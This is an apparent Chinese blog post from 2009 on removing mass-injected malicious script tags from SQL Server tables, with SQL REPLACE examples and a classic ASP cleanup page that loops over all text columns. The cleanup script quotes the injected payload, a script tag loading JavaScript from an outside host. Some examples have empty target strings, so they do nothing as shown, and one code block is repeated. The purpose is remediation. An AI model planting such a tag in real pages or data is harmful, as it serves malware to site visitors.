您的位置:首页 > 编程语言

挂马代码清除方法集

2009-02-04 17:29 232 查看
1、varchar 类型的直接replace一下就ok了。

如:"update [t_information] set publisher=replace(publisher, '', '')"

2、text字段,就要麻烦一下(超过8000就要另想办法了)

"update [t_information] set AuthorInfor=replace(cast(AuthorInfor as varchar(8000)) ,'','')"

3、有时有特殊符号,如 %,可以用下列的方法处理一下

update [infor_types] set parentid=replace(parentid, char(37), '')

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>

<!--#include file="Inc/conn.asp"-->

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<%

server.ScriptTimeout = 1000000

'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。

'xtype=35 text 用于存储大量文本数据。

'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。

'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据

str = "'<mce:script src="http://e6t.3322.org/c.js" mce_src="http://e6t.3322.org/c.js"></mce:script>'" '加在文本类型字段后的木马代码

sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"

set rs = conn.execute(sql)

while Not rs.eof

t_name = rs("t_name") '表名

c_name = rs("c_name") '字段名

xtype = rs("xtype") '字段类型

If (xtype = 99 Or xtype = 35) then

conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")

Else

conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")

End If

rs.movenext

wend

response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")

%>

<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。
'xtype=35 text 用于存储大量文本数据。
'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。
'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据
str = "''" '加在文本类型字段后的木马代码
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '字段名
xtype = rs("xtype") '字段类型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")
%>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: